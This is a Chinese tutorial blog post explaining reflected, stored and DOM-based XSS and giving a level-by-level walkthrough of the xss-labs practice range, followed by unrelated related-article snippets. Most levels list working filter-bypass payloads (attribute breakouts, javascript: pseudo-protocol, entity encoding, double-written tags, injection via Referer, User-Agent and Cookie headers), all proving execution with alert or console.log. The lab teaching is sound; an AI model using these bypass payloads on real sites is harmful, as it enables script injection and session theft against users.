Web渗透-XSS漏洞深入及xss-labs靶场实战

一、简介

xss全称(cross site scripting)跨站脚本攻击,是最常见的web应用程序安全漏洞之一,位于owasptop102013年度第三名xss是指攻击者在网页中嵌入客户端脚本,通常是javascrip编写的危险代码,当用户使用浏览网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的。
xss属于客户端攻击,受害者最终是用户,但特别要注意的是网站管理人员也属于用户之一。这就意味着xss可以进行"服务端"攻击,因为管理员要比普通用户的权限大得多,一般管理员都可以对网站进行文件管理,数据管理等操作,而攻击者一股也是靠管理员身份作为"跳板"进行实施攻击。

二、XSS靶场

  • 靶场名称:xss-labs
  • github地址:https://github.com/do0dl3/xss-labs
  • 靶场运行环境:PHP,Apache
  • 安装
第一步:git clone拉取或者下载项目压缩包
第二步:放入Apache www服务的根目录中
第三部:访问URL http://localhost/xss-labs/
  • 访问页面效果

image.png

三、XSS测试方法

1 工具扫描:appscan,awvs
2 手工测试:burpsuite,firefox(hackbar),xsser xssf
使用手工检测web应用程序是否存在xss漏洞时,最重要的是考虑那里有输入,输入的数据在什么地
方输出。在进行手工检测xss时,人毕竟不像软件那样不知疲惫,所以一定要选择有特殊意义的字符。
这样可以快速测试是否存在xss.(1)在目标站点上找到输入点,比如查询接口,留言板等;(2)输入一组"特殊字符+唯一识别字符",点击提交后,查看返回的源码,是否有做对应的处理;(3)通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行)s的条件(构造闭合),提交构造的脚本代码,看是否可以成功执行,如果成功执行则说明存在xss漏洞;

四、XSS分类

反射性XSS或不持久型XSS

简介

反射型XSS攻击(Reflected XSS)有称为非持久型跨站点脚本攻击,它是最常见的XSS,漏洞产生的原因是攻击者注入的数据反映在响应中,一个典型的非持久型的XSS包含一个带XSS攻击向量的链接。
每次攻击需要用户点击

判断
  • 靶场关卡:Pikachu - Cross-Site Scripting - 反射型xss(get)
第一步:找到网站可以输入的地方
第二步:找到网站可以输出的地方
第三步:插入任意JS代码判断是否会执行

image.png
image.png
image.png
image.png

存储型XSS或持久性XSS

简介

存储型xss是指应用程序直接将攻击者提交的恶意代码存储到服务端保存,然后永久显示在其他用户的页面上。
比较常见的就是,黑客写下一篇包含恶意javascript代码的博客文章发表后,所有访问该博客的用户,都会在它们的浏览器中执行这段恶意的javascript代码,黑客把恶意的脚本保存到服务端。所以这种xss攻击就叫做"存储型xss".

作用

获取Cookie ,内网IP等

判断
存储型xss可能出现的位置:
(1)用户注册
(2)留言板
(3)上传文件的文件名处
(4)管理员可见的报错信息
(5)在线聊天框
(6)客服
(7)问题反馈区
(8)邮件信箱
// 在找漏洞时,使用console.log()方法,判断是否存在漏洞

示例
  • 靶场关卡:Pikachu - Cross-Site Scripting - 存储型xss
<script>console.log('varin')</script>

image.png

DOS XSS

简介

通过javascript,可以重构整个html文档,就是说可以添加,移除等等,对页面的某个东西进行访问的javascript就需要获得对html文档中所有元素进行访问的入口。这个入口就是dom,所以在dom型的xss漏洞利用中,dom可以看成是一个访问html的标准程序接口。
特征:整个过程都是在前端完成的,没有后端的参与(纯前端的操作!)

利用
// javascript 伪协议
javascript:alert(1)

示例
  • 靶场关卡:Pikachu - Cross-Site Scripting - DOM型xss

image.png
image.png

五、xss-labs靶场实战

level1

  • 类型:反射型
  • 提示:无
  • 观察:
页面并没有输入的地方,除了URL栏
name长度刚好为:4

image.png

  • 测试:
// name参数条件js代码
http://10.196.93.67/xss-labs/level1.php?name=<script>alert('varin')</script>

image.png

level2

  • 类型:反射型
  • 提示:无
  • 观察:有输入框,按钮,内容显示到h2标签。
  • 思路:输入框输入的内容存储到了h2标签上,通过构建闭合的方式(双引号),嵌入js代码
  • 测试
// 输入框内容:
"</h2><a>ff</a> <script>alert('a')</script>

image.png

level3

  • 类型:反射型
  • 提示:无
  • 观察:有输入框,按钮,内容显示到h2标签。
  • 思路:
    • 输入框输入的内容存储到了h2标签上,通过构建闭合的方式(单引号),嵌入js代码(失败)
    • 采用闭合的方式,闭合的符号会被转义,导致识别不出来。尝试单击方法
  • 测试
// 输入框内容:
' οnclick='alert(1)'

image.png

level4

  • 类型:反射型
  • 提示:无
  • 特点:输入标签会被去掉<>符号
  • 闭合:双引号
  • 观察:有输入框,按钮,内容显示到h2标签。
  • 思路:尝试单击方法
  • 测试
" οnclick="alert('1')">

image.png

level5

  • 类型:反射型
  • 提示:无
  • 特点:输入script、事件会被转义,输入
  • 闭合:双引号
  • 观察:有输入框,按钮,内容显示到h2标签。
  • 思路:尝试伪协议方法
  • 测试
// 闭合:">
"> <a href='javascript:alert(1)'>abc</a>

image.png

level6

  • 类型:反射型
  • 提示:无
  • 特点:输入script、href、事件会被转义,输入
  • 闭合:双引号
  • 观察:有输入框,按钮,内容显示到h2标签。
  • 思路:尝试伪协议方法、使用大小写
  • 测试
// 闭合:">
"> <a HREF='javascript:alert(1)'>abc</a>

image.png

level7

  • 类型:反射型
  • 提示:无
  • 特点:script转为空
  • 闭合:双引号
  • 观察:有输入框,按钮,内容显示到h2标签。
  • 思路:双写
  • 测试
"> <sscriptcript>alert(1)</sscriptcript>

image.png

level8

  • 类型:反射型
  • 提示:无
  • 思路:使用html字体实体编码
  • 编码参考链接:https://www.runoob.com/charsets/ref-html-8859.html
  • 测试
# &#x074=t
javascrip&#x074:alert(1)

image.png

level9

  • 类型:反射型
  • 提示:无
  • 特点:a标签的href必须有htt://字符,使用html字体实体编码
  • 思路:将http://加入到输出信息中
  • 测试
javascrip&#x074:alert('http://')

image.png

level10

  • 类型:反射型
  • 提示:无
  • 特点:隐藏域
  • 思路:有隐藏域,每个尝试,得到t_sort可以写入值,在尝试是否能闭合value值,并去除隐藏域属性
  • 测试
http://localhost/xss-labs/level10.php?t_link=1&t_sort="onclick='alert(1)'type=''

image.png

level11

  • 类型:反射型
  • 提示:ref
  • 特点:Referer,请求头
  • 思路:通过抓包发现Referer参数值传递到了t_ref输入框中,尝试在Referer构建语句

image.png
image.png

  • 测试
Referer: " type=""  onclick='alert(1)'

image.png
image.png

level12

  • 类型:反射型
  • 提示:User-Agent
  • 特点:User-Agent,请求头
  • 思路:通过抓包发现User-Agent参数值传递到了t_ua输入框中,尝试在User-Agent构建语句

image.png

  • 测试
User-Agent: " type="" οnclick="alert(1)"

image.png
image.png

level13

  • 类型:反射型
  • 提示:Cookie
  • 特点:Cookie,请求头
  • 思路:通过抓包发现Cookie参数值传递到了t_cook输入框中,尝试在Cookie构建语句

image.png

  • 测试
Cookie: user=" type="" οnclick="alert(1)"; PHPSESSID=600b54c6da94cb911ba2ad52c52ee5bd

image.png
image.png

level14

  • 页面显示不出来,略过

image.png

level15

  • 地址:http://10.196.93.67/xss-labs/level15.php?src=1.gif
  • 类型:反射型
  • 提示:无
  • 特点:文件包含
  • 思路:通过引用关卡1的页面,进行绕过

image.png

  • 测试:
http://10.196.93.67/xss-labs/level15.php?src="level1.php?name=<a href='javascript:alert(1)'>varin</a>"

image.png

level16

  • 类型:反射型
  • 提示:无
  • 特点:URL编码,字符替换
  • 思路 :将空格转换为回车的ULR编码
  • 测试
// %0a=回车
http://10.196.93.67/xss-labs/level16.php?keyword= <img%0asrc=a%0aonerror=alert(1)>

image.png

evel17

  • 类型:反射型
  • 提示:无
  • 特点:将空格插入到b前方,可以将b顶出来
  • 思路 :使用特殊字符随机位置尝试,如空格,单引号,双引号等。

image.png

  • 测试
http://10.196.93.67/xss-labs/level17.php?arg01=a&arg02= onmouseover=alert(1)

image.png

level18

  • 通过方式level17关类似。
http://10.196.93.67/xss-labs/level18.php?arg01=a&arg02= onmouseover=alert(1)

image.png
image.png


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/360185.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

excel数据透视

Excel中&#xff0c;数据透视图&#xff08;PivotChart&#xff09;和数据透视表&#xff08;PivotTable&#xff09;是两个紧密相关的工具&#xff0c;用于分析数据。数据透视表是数据透视图的数据源&#xff0c;也就是说&#xff0c;数据透视图是基于数据透视表中的数据创建的…

周末设计高端企业_集团官网主题Discuz模板

风格名称: 周末设计_高端企业_集团官网 适用版本: Discuz! X3.0、X3.1、X3.2、X3.3、F1.0 风格编码: 使用语言包结构&#xff0c;适合全部编码 周末设计高端企业_集团官网主题Discuz模板

防止多次点击,vue的按钮上做简易的防抖节流处理

话不多说,上个视频,看看是不是你要的效果 防抖节流 1.创建一个directive.js // directive.js export default {install(Vue) {// 防重复点击(指令实现)Vue.directive(repeatClick, {inserted(el, binding) {el.addEventListener(click, () > {if (!el.disabled) {el.disabl…

我对ChatGPT-5的期待

在科技飞速发展的今天&#xff0c;人工智能&#xff08;AI&#xff09;已经成为我们生活中不可或缺的一部分。尤其是近年来&#xff0c;随着ChatGPT等先进AI模型的推出&#xff0c;我们见证了AI技术在智能水平上的巨大飞跃。作为这一领域的最新成果&#xff0c;GPT-5的即将发布…

电脑开机后出现Aptio Setup Utility 处理方法

电脑开机后出现Aptio Setup Utility怎么处理 Aptio Setup Utility界面的原因&#xff1a; 这是由于 bios设置与真实的硬件情况不匹配硬盘故障找不到可启动的硬盘情况 我的问题是找不到可启动的硬盘情况 解决方式如下&#xff1a; 进入如下界面了&#xff0c;选择Boot选项…

yolov10--C#接口

一、前言 本章主要讲解yolov10的C#接口&#xff0c;主要是使用微软开发的openvinocsharp工具加载yolov10模型&#xff0c;并做推理。 二、yolov10模型转换 这里为了演示&#xff0c;使用官方yolov10m模型&#xff08;其他大小的模型同理&#xff09;做演示&#xff0c;可从下方…

动态规划数字三角形模型——AcWing 275. 传纸条

动态规划数字三角形模型 定义 动态规划数字三角形模型是在一个三角形的数阵中&#xff0c;通过一定规则找到从顶部到底部的最优路径或最优值。 运用情况 通常用于解决具有递推关系、需要在不同路径中做出选择以达到最优结果的问题。比如计算最短路径、最大和等。 计算其他…

服务器数据恢复—NTFS文件系统下双循环riad5数据恢复案例

服务器存储数据恢复环境&#xff1a; EMC CX4-480存储&#xff0c;该存储中有10块硬盘&#xff0c;其中有3块磁盘为掉线磁盘&#xff0c;另外7块磁盘组成一组RAID5磁盘阵列。运维人员在处理掉线磁盘时只添加新的硬盘做rebuild&#xff0c;并没有将掉线的硬盘拔掉&#xff0c;所…

重点!业内分享:如何找到自己门店的生鲜经营定位

说到经营生鲜品类 许多商超人士或许都会面临这样一个困境 即品类繁多且复杂&#xff0c;那么如何做到精准施策&#xff1f; 比如说&#xff0c;蔬菜和水果虽都归为生鲜&#xff0c;然而细分起来&#xff0c;价格和消费群体均存在差异。像蔬菜&#xff0c;价格通常较低&#…

docker入门配置

1、创建配置镜像 由于国内docker连接外网速度慢&#xff0c;采用代理 vi /etc/docker/daemon.json添加以下内容 {"registry-mirrors": ["https://9cpn8tt6.mirror.aliyuncs.com","https://dockerproxy.com","https://hub-mirror.c.163.co…

Python开发日记--手撸加解密小工具(2)

目录 1. UI设计和代码生成 2.运行代码查看效果 3.小结 1. UI设计和代码生成 昨天讨论到每一类算法设计为一个Tab&#xff0c;利用的是TabWidget&#xff0c;那么接下来就要在每个Tab里设计算法必要的参数了&#xff0c;这里我们会用到组件有Label、PushButton、TextEdit、Ra…

第4讲:pixi.js绘制舞台、随窗口大小而改变画布大小和舞台位置

基于前面写的代码&#xff0c;在gamelets的工程目录下新建一个CanvasAndStage.ts 代码如下 import {Application, Graphics} from pixi.js; // 不要忘了&#xff0c;一定要引用这个css样式&#xff0c;否则就会以默认样式显示 import ./style.css // app.view就是画布&#xf…

使用JAVA代码实现发送订阅消息以及模板消息

今天写了一个商品到货提醒的job任务&#xff0c;具体效果如下 这里用到了微信的发送订阅消息&#xff0c;主要代码是这一块的&#xff0c;最后我把发送了消息的订单存到表里&#xff0c;因为是定时任务&#xff0c;大家可不存 发送订阅消息 | 微信开放文档 /*** 微信平台-商品…

<电力行业> - 《第1课:电力行业的五大四小》

1 什么是电力行业的五大四小&#xff1f; 我们常说的电力行业的五大四小&#xff0c;指的是电力行业有实力的公司&#xff0c;分为&#xff1a;较强梯队的五大集团、较弱梯队的四小豪门。 五个实力雄厚的集团&#xff0c;分别是&#xff1a; 中国华能集团公司中国大唐集团公…

公交行业系统特点及面临的挑战

在当前城市发展中&#xff0c;公交行业作为公共交通的重要组成部分&#xff0c;承担着重要的社会责任。随着科技的进步和城市化进程的加快&#xff0c;公交行业系统也在不断地发展和完善。然而&#xff0c;从目前的发展情况来看&#xff0c;公交行业系统也呈现出一些显著的特点…

怎么加密文件夹?文件夹加密软件推荐

文件夹加密是保护电脑数据的重要方法&#xff0c;那么你知道怎么加密文件夹吗&#xff1f;下面小编就为大家推荐两款文件夹加密软件&#xff0c;帮助你安全保护重要文件夹。 文件夹加密超级大师 在加密电脑文件夹时&#xff0c;文件夹加密超级大师是你必须要了解的文件夹加密软…

uniapp顶部导航栏实现自定义功能按钮+搜索框并监听响应事件

目录 第一步&#xff1a;先下载按钮需要展示的图标&#xff08;若不使用图标&#xff0c;直接使用文字可跳过这步&#xff09; 1、点击需要的图标&#xff0c;添加入库 2、点击旁边的购物车&#xff0c;在弹出的窗口中选择下载代码 3、解压下载的压缩包&#xff0c;将这几个…

鸿蒙 HarmonyOS NEXT星河版APP应用开发-阶段二

一、鸿蒙应用界面开发 弹性布局-Flex 语法 /* 弹性容器组件 Flex() 位置&#xff1a; Flex默认主轴水平往右&#xff0c;交叉轴垂直向下&#xff08;类似Row&#xff09; 语法&#xff1a; Flex(参数对象){子组件1,子组件2,子组件3 } 属性方法&#xff1a; direction&#xf…

Hi3861 OpenHarmony嵌入式应用入门--轮询按键

本篇介绍使用轮询方式读取gpio状态来判断按键状态。 原理图如下 GPIO API API名称 说明 hi_u32 hi_gpio_init(hi_void); GPIO模块初始化 hi_u32 hi_io_set_pull(hi_io_name id, hi_io_pull val); 设置某个IO上下拉功能。 hi_u32 hi_gpio_set_dir(hi_gpio_idx id, hi_gpi…

达梦数据库(DM8)替换授权dm.key遇到的错误, lic info is different between dm.key and sysinfo.

1、报错贴图 2、报错日志提示 version info: security lic info is different between dm.key and sysinfo. 原因说明&#xff1a;dm.key授权与服务器的硬件环境不匹配引起的报错&#xff0c;如&#xff1a;cpu、操作系统版本有关。